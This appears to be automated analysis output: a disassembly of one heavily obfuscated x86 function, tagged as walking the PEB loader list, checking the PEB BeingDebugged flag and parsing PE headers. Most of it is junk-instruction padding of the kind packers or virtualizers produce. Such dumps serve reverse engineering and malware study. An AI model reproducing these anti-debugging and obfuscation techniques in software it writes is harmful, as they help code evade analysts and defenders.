Function at 0x1012500f
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Parse pe header

Disassembly:
mov dword [ebp + 0x605df969], ecx
stc
pop ebp
pushal
in al, 0xad
cmc
in al, 0x97
aam 0x34
fucomi st(1)
mov dword [edx], edi
xor al, 6
xor esp, dword [edi - 0x7c69a7fd]
inc ebp
sub eax, 0x5b255980
sbb byte [ecx + 0x25], 0x5b
sahf
mov dword [0x77b23193], eax
mov bh, 0xa0
jp 0x10001569
mov dword [0xecfa6b61], eax
shl byte [edi + 0x7ee08575], cl
push edx
hlt
xchg dword [ecx], esp
jg 0x10001613
jp 0x1000154e
mov gs, word [eax]
invalid
xchg ebp, eax
mov al, 0xfd
int 0x66
cld
ret
push ds
je 0x10001551
mov esp, 0x2886b1b1
aaa
cmp dh, ah
xchg byte [edx + 0x136916ef], bh
xchg esp, eax
adc al, 0xb3
das
add eax, 0x4ad5ac0e
popal
inc ecx
add al, 0x32
scasd eax, dword es:[edi]
mov ebp, dword [edi + 0x671d11ca]
xor bl, bl
dec ebx
scasb al, byte es:[edi]
xor ecx, ecx
mov eax, dword [0x1ffd4684]
dec edi
add ebp, dword [edx - 0x29]
adc ah, byte [edi + 0x5996f930]
mov ah, 0x8e
cmpsb byte [esi], byte es:[edi]
test dl, 0x13
outsd dx, dword [esi]
loop 0x100015bf
mov ebp, 0x84b26a26
call 0xd86303d2
lodsb al, byte [esi]
jae 0x100015b5
push edx
jne 0x100015a3
xchg ecx, eax
add al, 0x19
xchg esi, eax
invalid
xchg edi, eax
jmp 0x10120ef4
inc dword [eax + 0x1001cf4b]
pushfd
pushal
shl ax, cl
bswap eax
neg edx
xchg edi, esi
setl bl
not ch
bsf di, dx
mov bp, word [esp]
mov ah, bh
xchg esi, ecx
mov si, word [esp]
sub esp, 4
mov ebp, dword [esp + 3]
mov byte [esp + 2], dl
jmp 0x10120d31
push eax
jmp 0x10121146
bswap bp
jmp 0x10122c68
mov ah, byte [esp + 1]
mov ebp, 0x1276472b
mov bp, 0x5e27
xchg esi, ebp
bswap cx
setl ah
jmp 0x10120db4
xchg word [esp + 1], ax
pop word [esp]
sbb dx, 0x30cf
bts dx, cx
cmc
bts dx, di
and bx, bp
add esp, 1
mov dh, 0x4d
lea ebx, [eax - 0x58c3]
bswap eax
setb cl
xchg byte [esp], dh
sub esp, 0x1a
mov word [esp + 3], ax
xchg dword [esp + 0xe], ebp
xchg dx, si
mov bp, word [esp + 0x16]
push eax
bsr di, ax
not dx
lea esp, [esp + 5]
mov dl, byte [esp + 0xf]
xchg bx, di
mov ebx, 0x796222eb
and bp, 0x6d05
mov bx, word [esp + 0xf]
mov dword [esp + 0xe], ebx
push dword [esp + 0xe]
setp bl
xchg byte [esp + 0x13], dh
mov ax, word [esp + 0x13]
mov ax, word [esp + 7]
xchg bh, ch
setb ah
xchg word [esp + 1], bx
bsf ecx, esp
xchg esi, ecx
mov word [esp + 0xc], cx
mov di, word [esp + 0xf]
pop word [esp + 2]
dec eax
clc
push word [esp + 0xb]
shl si, 1
neg ebp
xchg byte [esp + 7], cl
lea esp, [esp + 5]
add esp, 0x14
bswap edi
cld
xchg dword [esp], ebp
mov ah, ch
mov dl, 0xbb
lea ebp, [esp - 0x7415]
rcr cl, cl
mov byte [esp + 2], ah
mov si, 0x407a
stc
mov esi, 0x49782b6c
jmp 0x10120dd1
mov cx, word [esp + 2]
mov bx, 0x4dcd
mov edx, 0x10393f12
push dword [esp]
not esi
mov byte [esp + 2], ah
add esp, 3
bswap ebp
mov esi, 0x28b20420
xchg ecx, eax
xchg word [esp + 1], si
pop si
mov al, 0x1b
mov al, cl
mov cl, al
mov byte [esp + 1], dl
mov cl, byte [esp + 2]
pop ax
rol edx, cl
btr edi, edx
mov ebp, dword [esp]
bswap edx
cmc
mov ch, byte [esp]
bsf si, ax
stc
bswap di
mov dl, byte [esp]
add esp, 0
add esp, 0
cmc
bts edi, edx
mov cx, ax
mov dl, 0xe1
mov cl, 0xb1
bsr bx, bx
setge bh
add esp, 0
cmc
xchg byte [esp], bl
xchg ecx, ebp
mov dx, 0xa7e
neg bx
mov bh, 0x5f
lea esp, [esp]
btc bx, si
push sp
sub esp, 0x13
mov bx, 0x1e9f
neg edi
mov bx, 0x213a
push bx
mov dx, word [esp + 0x10]
cld
pop si
shl cl, 4
xchg bp, di
setns bh
mov cx, word [esp + 0xe]
xchg word [esp + 0x10], bp
push word [esp + 0x10]
mov eax, 0x48aa1417
mov edi, 0x6b1f565b
mov dword [esp + 0xb], esi
neg bh
pop word [esp + 0xb]
cmc
add esp, 0x10
add esp, 2
xchg dword [esp], eax
lea ecx, [ebx + esi]
xchg dword [esp], edx
mov bp, di
mov byte [esp], cl
bt di, bp
bswap bx
jmp 0x10120e01
mov di, word [esp + 1]
xchg byte [esp + 1], al
mov word [esp + 3], cx
pop cx
mov edi, 0x2ac21672
xchg dx, ax
bswap bp
mov dx, 0x127c
mov bp, word [esp + 3]
lea esp, [esp + 1]
mov cx, 0x88f
not ax
not edx
mov al, byte [esp + 1]
jmp 0x1012127f
mov ah, byte [esp + 8]
mov al, 0xae
xchg si, bp
lea esp, [esp + 8]
mov dh, byte [esp + 2]
mov word [esp + 0xa], di
lea esp, [esp + 0xa]
jmp 0x10120fff
bswap bp
mov bl, cl
mov di, 0x376f
mov di, word [esp]
mov bh, al
pushfd
xchg al, cl
mov edi, eax
bswap edi
xchg word [esp], dx
pop eax
xchg edx, eax
xchg dx, cx
mov ax, word [esp]
push cx
push word [esp + 1]
pop di
bswap eax
setbe cl
setb dh
setnp dl
xchg cl, ch
lea esp, [esp]
mov bx, cx
not esi
push word [esp]
push dx
mov word [esp + 2], cx
mov byte [esp + 3], cl
mov byte [esp], ah
mov al, byte [esp + 1]
pop edx
xchg byte [esp], dl
lea edx, [ecx + ebp]
pushal
mov eax, dword [esp + 0x20]
xchg word [esp + 2], cx
xchg byte [esp + 0xf], cl
seto bl
xchg si, bx
mov bp, word [esp + 0x17]
pop di
lea ebp, [esi + ebp]
lea eax, [ebp + 0x83]
pop edx
pop dword [esp + 0x11]
push dword [esp + 0xd]
bswap di
pop word [esp + 0x15]
pop eax
pop si
mov ah, bh
xchg di, si
push dword [esp + 8]
mov ebp, eax
xchg word [esp + 8], di
jmp 0x10121051
call 0x1012114b
pop eax
sub eax, 0x1012114b
cmp dword [eax + 0x1001cf4b], 0
je 0x10120d4e
lea esp, [esp + 8]
popal
cmp dword [esp + 8], 0
jne 0x100015f3
call fcn.1002070a
jmp 0x100015f3
mov ax, sp
mov byte [esp + 4], ch
mov dh, 0x6f
pop word [esp]
xchg dword [esp + 0xc], ecx
mov bp, word [esp + 9]
mov byte [esp + 0xe], bh
jmp 0x101223af
xchg bx, si
pop word [esp + 5]
xchg cl, bh
xchg dx, ax
xchg di, bx
mov bl, al
mov ah, 0x9a
mov dx, word [esp + 0x12]
mov dx, word [esp + 5]
lea esp, [esp + 0x14]
mov dx, ax
mov di, word [esp + 5]
mov word [esp + 0x11], bx
mov bl, byte [esp + 3]
jmp 0x1012118e
bswap ecx
setl bl
xchg esi, eax
xchg bx, dx
mov cl, byte [esp]
setno dl
mov bx, word [esp]
push bx
push word [esp]
pop ecx
mov cl, bl
pushfd
xchg bh, al
push word [esp]
mov edx, dword [esp + 3]
xchg dl, bl
xchg bh, cl
push ebp
xchg byte [esp + 6], bh
xchg byte [esp], bl
setae dl
pushal
mov byte [esp + 0x1f], al
xchg dword [esp], edx
mov ecx, ebx
mov si, 0x3d65
xchg bl, cl
lea ecx, [edi + ebp]
mov ebx, edi
xchg dword [esp + 6], edx
mov dword [esp + 0x1b], edx
jmp 0x101211c2
xchg al, dl
xchg bx, cx
bswap ebx
mov ebp, ecx
mov dh, 0x90
not cl
not di
mov ecx, eax
xchg byte [esp], al
mov word [esp], sp
lea esp, [esp + 3]
popal
push ebx
pop word [esp]
push word [esp]
mov word [esp + 1], bx
mov word [esp], bp
push dword [esp + 2]
mov dword [esp + 1], edx
lea esp, [esp + 6]
push word [esp]
mov word [esp + 1], di
push dword [esp + 3]
push dword [esp]
lea esp, [esp + 0xc]
push 0
pushal
xchg edx, ebp
mov edx, dword [esp]
bswap ecx
mov al, byte [esp]
bswap edx
mov al, 0xb2
not di
setle dh
mov si, sp
setge al
seto al
lea eax, [eax + ecx]
mov ebp, 0x72682097
mov ecx, dword [esp]
bswap dx
not ebx
mov dl, 0xf9
mov ch, 0xb2
mov al, bh
mov dx, word [esp]
mov bx, word [esp]
not bx
mov ebp, 0x34f92dfe
pushfd
mov dword [esp], edi
xchg di, cx
mov cx, word [esp + 1]
setbe al
mov cl, byte [esp + 1]
mov cx, di
pop word [esp]
push word [esp]
pop esi
mov ch, bl
bswap dx
jmp 0x10121210
push 0x99d8a920
add dword [esp], 0x76287eb5
pushal
mov si, word [esp]
bswap esi
lea ecx, [esp + 0x32]
lea ebx, [esp + ebp]
mov ax, 0x55a1
mov bp, dx
mov ebx, 0x33856cca
mov ax, sp
mov edx, esi
mov cx, ax
lea ecx, [ebx + 0x2fa9]
jmp 0x10121086
mov ebx, edx
btr si, ax
xchg byte [esp], bh
pushfd
xchg edx, esi
not edx
mov edx, esi
xor bp, dx
cld
setg ch
xchg dword [esp], edx
push dword [esp + 4]
rcl cl, 0
dec bh
mov bh, ah
mov byte [esp], bh
mov dword [esp + 2], esp
setne bl
stc
pop cx
xchg dword [esp], edi
mov eax, dword [esp + 4]
mov di, 0x3ad9
push word [esp + 4]
not bl
btc bp, cx
mov bx, word [esp + 5]
setnp bl
xchg dl, bl
pop dword [esp]
bswap bx
sub esp, 5
xchg byte [esp + 3], dl
bts edi, esp
mov esi, ebx
mov cl, byte [esp + 9]
push word [esp + 6]
lea edx, [ecx + 0x7ae9]
xchg word [esp + 3], bp
mov ebx, dword [esp + 5]
bsf esi, edx
pop ecx
mov di, 0x31a5
cld
inc edx
bsr edi, ecx
mov si, 0x44a
xchg dword [esp + 3], ebx
mov eax, edx
pop word [esp + 1]
bswap esi
mov dword [esp], esi
bsr ecx, edi
mov esi, dword [esp]
mov ebp, ebx
mov ecx, ebp
neg bp
push word [esp + 4]
mov dx, 0x9f7
mov word [esp + 5], cx
mov si, word [esp + 5]
bswap edi
sub esp, 2
mov bl, 0x51
setbe bl
not dx
lea esp, [esp + 9]
mov esi, 0x1aa7103f
add esp, 0
shl ax, 5
bswap di
mov di, dx
xchg dl, dh
lea esp, [esp]
xchg bp, dx
setp bh
mov dx, 0x4923
mov byte [esp], dh
xchg di, ax
xchg si, bp
bsr ax, ax
mov dx, di
xchg bp, si
mov esi, dword [esp]
mov ebp, dword [esp]
not di
mov ax, 0x6317
mov cl, ah
mov dx, word [esp]
sub esp, 0x10
neg ch
lea ecx, [ebx - 0xa0]
mov ch, 0x1f
mov ah, byte [esp + 7]
mov ebp, dword [esp]
mov dword [esp], esi
mov cx, 0x662f
mov ecx, 0x55a55b89
mov si, word [esp + 0xd]
mov ah, cl
cmc
xchg byte [esp], ch
xchg dword [esp + 3], eax
not dx
mov edx, dword [esp + 0x10]
bswap ax
mov dword [esp + 5], eax
push word [esp + 0x10]
push word [esp + 8]
not dx
mov di, word [esp + 8]
mov edx, 0x25ee11a9
cld
sub esp, 1
push word [esp + 0x10]
neg ch
stc
push si
mov cl, 0x56
sub esp, 0x1a
mov ebp, 0x38423f94
bswap ecx
mov byte [esp + 0x1c], ah
pop word [esp + 0x22]
bswap esi
mov al, byte [esp + 2]
mov eax, dword [esp + 0x23]
sub esp, 0xd
mov di, 0x460b
mov byte [esp], bh
pushfd
mov byte [esp + 0x31], dh
bsf ecx, eax
xchg ebp, esi
xchg dword [esp + 0x23], ecx
mov word [esp + 0x3d], cx
add esp, 0x23
mov di, bp
dec dl
cld
neg cx
xchg byte [esp + 8], dh
mov ax, 0x77e1
xchg dword [esp + 9], ebp
xchg word [esp + 0x10], si
neg ecx
pop di
push dword [esp + 0x13]
inc di
neg bx
pop esi
mov bp, 0x1a4
lea edi, [0x429d518a]
and eax, 0x44891e3a
mov ebx, 0x4b4339c2
pop di
bswap edi
bswap ax
neg ebp
cld
mov al, byte [esp + 0x14]
pushal
xchg cl, bh
popal
mov byte [esp + 0xb], ch
bt di, sp
add esp, 9
bsr ebp, ebp
mov si, word [esp + 8]
xchg edx, eax
mov eax, edx
bswap dx
mov dword [esp + 6], esi
mov cl, dl
pop word [esp + 0xe]
mov ebp, 0x71231d02
mov si, ax
mov word [esp + 9], si
xchg word [esp + 7], di
pop di
xchg dword [esp + 0xa], ebx
ror cx, cl
xchg ah, cl
btc bx, bp
mov ax, cx
xchg bp, bx
xchg byte [esp + 0xb], bh
mov word [esp + 0xb], sp
mov cx, word [esp + 0xe]
mov bh, byte [esp + 8]
mov bh, byte [esp + 4]
mov word [esp + 9], sp
setae dl
xchg bh, ch
bswap cx
pop dword [esp + 4]
pop word [esp + 2]
pop eax
mov byte [esp + 1], dh
mov byte [esp], cl
xchg dword [esp], esi
bsf cx, sp
mov bl, ah
bsr di, cx
pop word [esp]
mov bh, al
shl ecx, cl
lea edi, [eax - 0x6196]
mov cl, byte [esp]
lea ebx, [eax - 0xac]
mov bp, 0x4a2c
lea esp, [esp + 1]
push ecx
mov bl, byte [esp + 4]
sub esp, 0x1d
mov di, word [esp + 0x21]
bt edx, edi
xchg byte [esp + 0xe], al
mov dword [esp + 0xa], edx
push word [esp]
xchg edi, eax
xchg byte [esp + 0x11], ch
mov dh, byte [esp + 3]
xchg dword [esp + 6], ecx
dec eax
xchg dword [esp + 0x1c], ebp
mov word [esp + 2], dx
push word [esp + 9]
pop eax
pop word [esp + 0x11]
mov dword [esp + 3], ebx
mov al, 0x16
mov ax, bp
mov ebp, esi
mov ebp, dword [esp + 0x13]
mov ebx, dword [esp + 5]
xchg cx, ax
mov dword [esp + 0x19], ecx
push word [esp + 0x13]
lea esp, [esp + 0x1a]
xchg word [esp + 5], di
xchg dx, bp
push word [esp + 5]
lea esp, [esp + 0xa]
mov al, ch
xchg ebp, eax
neg bx
mov al, bl
mov byte [esp], bh
seto dl
mov dl, byte [esp]
mov dh, byte [esp]
xchg edi, eax
xchg byte [esp], bh
add esp, 0
adc bx, 0x1509
bt edi, edi
xchg bh, ah
mov bx, word [esp]
mov byte [esp], ch
lea ecx, [esi + 0x4e]
sete dh
xchg byte [esp], dl
lea esi, [ecx + ecx]
mov si, word [esp]
rcr cx, cl
inc ebp
mov dl, 1
mov al, bh
mov ah, dl
add esp, 0
mov bp, 0xe46
sub esp, 0x18
lea ecx, [edx + ebp]
mov byte [esp + 5], bh
shl ch, 5
inc ah
lea esp, [esp + 0xf]
mov ah, dh
pop edi
mov dword [esp], edx
mov dx, 0x35c0
mov byte [esp + 3], ch
mov ebp, dword [esp + 3]
mov dl, 0x67
mov byte [esp], dh
lea edx, [esp + ebp]
xchg bp, bx
mov cl, bl
mov dl, 6
xchg dl, bl
lea esp, [esp + 4]
bswap dx
setno ch
and bx, di
bswap ebx
mov byte [esp], bl
xchg dh, ch
mov word [esp], di
xchg word [esp], cx
setge bl
xchg byte [esp], ch
not dx
mov eax, 0x6daf4d0f
xchg dh, bl
setg cl
cmc
btc si, dx
cld
lea esp, [esp]
push eax
xchg cx, bx
xchg byte [esp + 3], cl
xchg word [esp + 3], bp
ror bp, 0xc
bswap dx
mov byte [esp], cl
mov bp, word [esp + 2]
lea esp, [esp + 1]
bswap ecx
cmc
rcl edx, 0x15
pushal
bswap ecx
mov al, dh
lea ecx, [ebp + 0x6dc3]
mov esi, dword [esp + 6]
btc dx, cx
pushal
cld
lea ecx, [ebp - 0xc97]
not bh
or cl, 0xe8
mov edx, 0x3e7456f0
push cx
xchg word [esp + 6], di
neg di
bswap bp
mov ch, byte [esp + 0x15]
pushfd
not ebx
sbb bp, 0x6d95
bswap bp
lea esp, [esp + 0xc]
btc bp, dx
mov di, ax
add esp, 0x2f
pop ax
pop dword [esp]
mov edx, dword [esp]
stc
xchg dword [esp + 1], eax
neg dx
lea ebp, [edx + edi]
mov ebp, ecx
pushal
lea esp, [esp + 0x22]
pop word [esp + 2]
mov ecx, 0x4fcc6268
pop cx
pop dx
xchg word [esp], bx
sub esp, 0x1c
mov dword [esp + 1], ebp
push di
mov bx, bp
pop dword [esp + 0x11]
lea esp, [esp + 3]
add eax, edx
bsf cx, si
inc edx
xchg ebp, edi
push word [esp + 0xf]
xchg dword [esp + 8], ecx
neg bp
mov dword [esp + 0xc], ecx
xchg word [esp + 0x11], bx
ror si, 4
btr edx, edi
mov dword [esp + 0x12], ecx
cmc
xchg cl, al
mov edx, 0x2436293c
pop bp
add esp, 8
mov edi, eax
neg edx
neg esi
setp ah
xchg ecx, eax
xchg ecx, eax
xchg ch, bl
add esp, 5
mov si, cx
xchg byte [esp + 4], cl
sub esp, 1
mov ah, 0x1a
not cl
mov si, word [esp + 2]
mov ebp, dword [esp + 7]
mov ebx, 0x1e4b04a5
mov bl, 0x67
bt bp, sp
sub esp, 0x14
pop dword [esp + 0x13]
mov edi, 0x4ae11f0e
sub esp, 0x1d
mov byte [esp + 0x34], al
xchg di, cx
bsr ebx, edx
bsr si, cx
sbb dh, 0x2e
pop ecx
bswap di
mov bp, word [esp + 0x12]
lea esp, [esp + 0x22]
bswap esi
mov esi, dword [esp + 4]
mov byte [esp + 0x11], bh
mov ax, sp
mov bx, 0xcc4
lea ebx, [eax - 0x84]
pop bp
xchg dword [esp + 1], ebp
pop cx
mov word [esp], si
push dword [esp + 1]
shr bx, 0xe
xchg byte [esp + 0x11], ch
setl dh
xchg dword [esp + 8], ebp
lea ecx, [esi + ebp]
xchg byte [esp + 1], dl
xchg word [esp + 0xe], ax
mov dx, word [esp + 2]
shl dh, 2
mov cx, word [esp + 0x12]
ror ecx, 0x1c
not eax
bsr ax, dx
mov byte [esp + 0xf], dh
mov byte [esp + 0xe], ah
not esi
bswap si
btc di, ax
sub esp, 0x1d
xchg dword [esp + 0xb], eax
push word [esp + 0x25]
bsf cx, ax
pop eax
neg ebp
lea ecx, [edx - 0x4665]
setge dh
xchg cl, dh
neg edi
pop cx
pop di
mov dword [esp + 0x14], ebp
pushfd
xchg byte [esp + 0x23], dl
pop ebx
pop esi
stc
bt cx, si
bsf cx, cx
mov word [esp + 6], si
bt dx, dx
xchg byte [esp + 0x24], dh
or cx, 0x31db
mov ebp, 0x727c1d5c
mov dword [esp + 0xa], esi
dec dh
mov edi, 0xf4e4821
lea esp, [esp + 0x1f]
mov ecx, edi
mov dx, word [esp + 5]
mov dword [esp + 2], ecx
dec bl
rol ebp, 0xe
clc
xchg dx, ax
mov si, word [esp + 7]
push dword [esp + 6]
xchg al, ah
mov dx, 0x5cf
pop esi
xor ecx, edi
xchg bh, ah
mov bh, al
lea ebx, [ebp + 0xbf]
bts ax, si
add esp, 1
xchg cx, di
push dword [esp]
lea esp, [esp + 5]
pushfd
mov dword [esp + 2], edx
bsr ebx, edi
sete bl
mov word [esp + 5], bx
sub esp, 0xd
clc
bsr ebp, eax
lea edi, [ebx - 0x32]
mov eax, dword [esp + 0x13]
xchg di, si
xchg di, cx
mov dword [esp + 6], edi
lea ebx, [ebp + ebp]
mov byte [esp + 5], bl
btc ax, di
mov dx, 0x5f01
bsf di, bp
xchg byte [esp + 5], dh
dec edx
pop word [esp + 0xa]
bswap edi
xchg word [esp + 0xb], di
mov word [esp + 4], bx
xchg byte [esp + 1], dl
sub esp, 9
pop word [esp + 4]
mov ah, byte [esp + 0x18]
bsr ax, si
ror dh, 7
bswap ax
pop dword [esp + 5]
sete dh
xchg dword [esp + 6], ebx
lea esp, [esp + 0xc]
lea esi, [ebp + 0x1f]
xchg cl, dl
setns al
lea eax, [esi + 0x1dd61533]
not ecx
mov dx, cx
lea esp, [esp + 2]
mov word [esp], ax
pop ax
mov ebx, 0x3fc3051e
mov di, 0x68d6
mov ebp, dword [esp]
pop si
pushfd
pop ax
bsf ax, ax
xchg dword [esp], eax
mov word [esp + 1], bx
cmc
xchg word [esp], dx
rcl bl, 7
mov di, 0x3d6e
mov edi, 0x9657ba4
setg bh
lea edx, [0xa233dbc]
xchg word [esp + 4], bx
btr ax, sp
inc di
mov bp, bx
xchg byte [esp], bh
not cl
xchg bh, ch
dec edi
mov word [esp + 4], bx
dec edi
mov edx, dword [esp + 5]
mov bx, 0x494e
xchg cl, dl
lea esp, [esp]
mov dl, cl
cld
mov si, 0x33f1
mov dh, byte [esp + 6]
mov eax, dword [esp + 7]
xchg dword [esp + 2], esi
mov edx, dword [esp]
add esp, 6
neg esi
xchg byte [esp], bh
mov eax, ebx
xchg dh, ch
mov cl, byte [esp]
xchg ebp, edx
lea edi, [0x53e5541e]
mov ah, byte [esp + 1]
mov bx, sp
mov ecx, dword [esp]
mov cl, 0xdc
mov ch, bl
mov bx, di
lea edi, [esp + 0x33ad4bfe]
mov dx, word [esp]
inc bp
bt bx, bx
dec cx
mov bl, dh
adc ebp, 0x66f66aaa
mov cl, 0xda
neg edx
setge al
mov bx, 0x1d25
mov ecx, dword [esp]
sete dh
mov ah, byte [esp]
not ah
neg ch
mov edx, dword [esp]
mov dl, byte [esp + 1]
xchg dx, di
not bl
mov eax, 0x505d7cd4
pop cx
neg ax
sub esp, 0x1a
lea esp, [esp + 0x16]
mov bp, ax
mov byte [esp + 2], al
mov cx, word [esp + 3]
push bx
neg ah
push word [esp + 5]
pop dword [esp]
xchg byte [esp], ah
bswap edi
pop bp
xor eax, 0x558c6947
mov di, si
lea eax, [esi + ebp]
mov eax, 0x1f591cec
setp ah
pushal
bswap eax
mov ebp, 0x35742812
mov si, dx
mov ax, bp
xchg di, bp
bsr dx, cx
lea esp, [esp + 0xe]
mov ecx, 0x76146d0b
mov esi, 0x1ef40b30
mov dword [esp + 0xa], esi
pop bx
pop dword [esp + 3]
mov cx, 0x6c93
lea esp, [esp + 0xd]
xor dx, 0x2b58
pushfd
cmc
mov dl, byte [esp]
cld
dec si
pop bx
xchg edi, ebx
neg cl
mov cx, word [esp]
push eax
mov ecx, dword [esp + 2]
push dword [esp + 4]
mov ah, byte [esp + 6]
mov edi, eax
mov ecx, 0x636e2f05
neg dx
bswap edi
xchg word [esp + 1], di
mov bp, word [esp + 8]
pop word [esp + 2]
pop word [esp + 2]
mov eax, dword [esp]
mov word [esp + 3], bp
mov edx, ecx
sub esp, 0xa
pop word [esp + 0xb]
lea esp, [esp + 8]
pop edx
lea ebx, [edi + 0x7f]
cmc
mov word [esp], bx
lea edi, [ecx + edx]
xchg byte [esp], cl
mov word [esp], di
mov edi, ecx
bswap dx
mov si, word [esp]
mov cx, dx
pushfd
xchg dl, al
push dword [esp + 4]
bsf esi, eax
push word [esp + 3]
add esp, 7
lea esp, [esp]
clc
pop word [esp]
sbb dh, dh
xchg bh, cl
add esp, 0
not bx
mov ebx, dword [esp + 2]
xchg esi, ecx
mov cl, dh
and bp, 0xd53
rcl dl, 5
pushal
stc
sub esp, 1
mov si, 0x64f8
mov al, byte [esp + 0xd]
popal
pop edi
dec al
cmc
setb bh
mov edi, dword [esp]
xchg byte [esp], ch
xor al, al
mov dl, 0x72
bsf dx, sp
stc
not cl
xchg byte [esp], bh
bswap si
xchg byte [esp], ch
mov al, dh
pushfd
cmc
bswap bx
mov dword [esp], ecx
xchg ch, bl
mov bx, word [esp + 4]
bswap edx
neg ebp
bswap di
mov ax, si
xchg byte [esp], bl
bswap dx
pop bp
xchg ah, dh
bsr cx, si
add esp, 1
mov edx, 0x780950d5
add esp, 0
mov ebx, dword [esp]
shr ax, 0xb
xchg byte [esp], bh
bsr ebp, esp
xchg edx, eax
xchg byte [esp], ch
mov byte [esp], dl
mov bp, 0x2c39
mov dx, 0x5d12
push word [esp + 1]
pop ebx
mov si, 0x7058
mov eax, 0x5c4f17d7
lea edi, [ebx + edi]
rol bx, 0xc
bswap di
pushfd
bswap ebx
shl dx, cl
xchg word [esp + 1], ax
neg edi
xchg byte [esp + 2], ah
stc
pop edi
lea esi, [eax + esi]
and ecx, eax
mov ch, byte [esp]
mov ecx, dword [esp]
not cl
mov cl, 0x62
sub esp, 0x19
xchg cx, ax
mov cl, 0xc5
xchg bp, di
add esp, 0x18
xchg byte [esp], bh
lea ebx, [edx + esi]
mov di, 0xf47
mov cl, 0x23
push cx
mov ch, al
sbb ax, 0x4e3e
mov cx, word [esp]
stc
mov eax, ebp
mov bh, 0xd1
mov dx, sp
mov ebx, 0xc671f7e
mov byte [esp + 1], al
xchg al, bh
lea esp, [esp + 1]
pushfd
mov dl, byte [esp]
xchg si, bx
not ebp
bsf ebx, edi
mov ebx, ecx
lea eax, [eax + 0x419e]
xchg bh, al
push dword [esp]
ror bh, cl
add esp, 0
not ecx
mov word [esp + 3], sp
mov dword [esp + 1], edx
push dword [esp + 5]
mov edx, edi
add cl, cl
mov word [esp + 8], bx
lea esp, [esp + 9]
mov byte [esp + 3], dl
mov di, word [esp + 3]
clc
pop word [esp]
xchg word [esp], cx
mov eax, dword [esp]
pop bx
mov eax, dword [esp]
lea ecx, [edi + 0x52630d77]
dec cx
mov bx, word [esp]
dec bp
add si, 0xe37
inc bx
clc
mov cx, 0x2b06
cmc
xchg bl, ch
bsf ebp, ebp
mov ebp, 0x1a897ead
lea esp, [esp + 1]
popal
sub esp, 0x1e
mov byte [esp + 0xa], cl
mov byte [esp + 0x1a], dh
lea esp, [esp + 0x13]
cmc
sub esp, 0x1d
mov byte [esp + 0x21], dl
mov byte [esp + 0x1a], bh
mov byte [esp + 0xf], dl
push dword [esp + 0x14]
pop word [esp + 0xb]
mov word [esp + 2], dx
mov word [esp + 1], sp
lea esp, [esp + 2]
lea esp, [esp + 0x28]
popfd
jno 0x10121359
push 0x99d8a920
jmp 0x1012135e
push si
mov bl, 0x15
mov ah, byte [esp + 7]
xchg bx, di
xchg byte [esp + 0x12], ah
pop edi
mov edi, dword [esp + 2]
push word [esp + 4]
xchg byte [esp + 0xb], cl
xchg byte [esp + 4], ch
mov dx, bp
mov bh, 0x7b
lea esp, [esp + 2]
lea esp, [esp + 0x10]
popal
push eax
push word [esp + 1]
push dword [esp + 5]
mov word [esp + 2], ax
pop dword [esp]
push dword [esp + 1]
push word [esp + 5]
pop dword [esp]
mov dword [esp + 1], ebx
push dword [esp + 7]
mov byte [esp + 7], ah
push word [esp + 6]
lea esp, [esp + 2]
lea esp, [esp + 0xc]
push 0
pushal
mov ecx, dword [esp]
mov al, 0xcb
mov ax, word [esp]
mov eax, 0x59c07a2e
setbe bh
setbe dl
mov bp, cx
not ebp
mov dl, 0x12
mov cl, 0xc7
push eax
bswap dx
push word [esp]
mov ebx, dword [esp]
mov cx, 0x2034
mov dword [esp], esp
mov bl, 0xb3
pop di
push word [esp + 1]
mov word [esp + 1], si
xchg ebp, ecx
mov bp, sp
mov word [esp + 1], si
xchg dword [esp], ebx
mov eax, ecx
pop word [esp]
bswap edi
mov dword [esp], eax
push dword [esp + 3]
sete bl
xchg dword [esp], ebp
pop cx
mov byte [esp + 4], ch
mov bh, cl
xchg byte [esp + 3], bl
push si
mov al, byte [esp + 6]
mov edi, edx
pop bx
mov cx, 0x45df
mov bp, 0x8d7
push word [esp + 4]
xchg word [esp + 1], bp
xchg dword [esp], ebp
setle al
mov byte [esp + 2], bh
mov bx, word [esp + 5]
mov cl, 0x52
lea ebx, [ecx - 0x415e]
push word [esp + 6]
pop si
lea edi, [eax + edx]
setg bl
xchg bl, bh
setb al
not cl
pop bp
lea esp, [esp]
mov ax, word [esp + 3]
xchg edi, eax
mov bx, 0x3819
mov cx, si
pop dx
bswap edi
mov bl, byte [esp + 1]
mov byte [esp], bh
mov bp, 0x7687
pushal
mov bl, byte [esp + 0x10]
mov edi, dword [esp + 0x1f]
mov cx, word [esp + 0x20]
xchg dx, bp
mov word [esp + 0xe], bx
pop word [esp + 0x14]
pop dword [esp + 4]
pop word [esp + 5]
lea esp, [esp + 0x1b]
mov byte [esp], al
xchg byte [esp], bl
lea esp, [esp]
lea ebx, [ecx - 0xe5]
mov ebp, esi
bswap ax
not ebp
mov dx, word [esp]
xchg bl, dh
xchg bp, ax
mov edx, 0x71405824
mov ecx, dword [esp]
bswap esi
bswap bp
mov byte [esp], dh
mov ch, 0x81
mov ah, byte [esp]
bswap esi
lea ecx, [eax + edx]
lea ebx, [ebp - 0x1b]
xchg ecx, ebp
mov di, si
lea esp, [esp + 1]
popal
pushal
mov byte [esp + 0x16], dh
mov dword [esp + 6], esi
push si
lea esp, [esp + 0x14]
push word [esp + 0xc]
lea esp, [esp + 0xa]
mov word [esp + 1], di
lea esp, [esp + 2]
lea esp, [esp + 4]
push 0xd938b979
add dword [esp], 0x36c8647a
pushal
mov cl, bh
mov ebp, esi
mov cx, si
mov ecx, 0x308c5110
mov ebp, 0x2a1332a0
mov dh, byte [esp]
mov si, word [esp]
mov ebp, dword [esp]
pushal
bswap cx
lea esp, [esp + 0x11]
push dword [esp + 0xc]
lea esp, [esp + 1]
setbe bl
mov bx, 0x90d
mov byte [esp + 9], bh
mov ecx, dword [esp + 7]
pop bx
mov di, si
mov bx, 0x4239
mov edi, 0x67fb2fd5
pop dword [esp + 3]
push dword [esp + 0xa]
xchg ebp, edx
push word [esp + 1]
pop si
mov ah, 0x75
mov dword [esp + 2], eax
xchg byte [esp + 6], ch
mov dword [esp + 7], edi
not dx
pushal
push dword [esp + 8]
mov eax, ebx
pop edi
xchg esi, ebx
mov eax, edx
push word [esp + 5]
mov ax, word [esp + 0x1f]
mov ax, 0x196e
bswap ebp
mov dword [esp + 7], ebp
lea esp, [esp + 0x10]
lea esi, [0x39ec2ac6]
pop si
pop word [esp + 0x15]
mov al, 0xa3
push dword [esp + 0x13]
mov ch, 0xf4
mov edx, esp
xchg si, dx
mov al, byte [esp + 0x13]
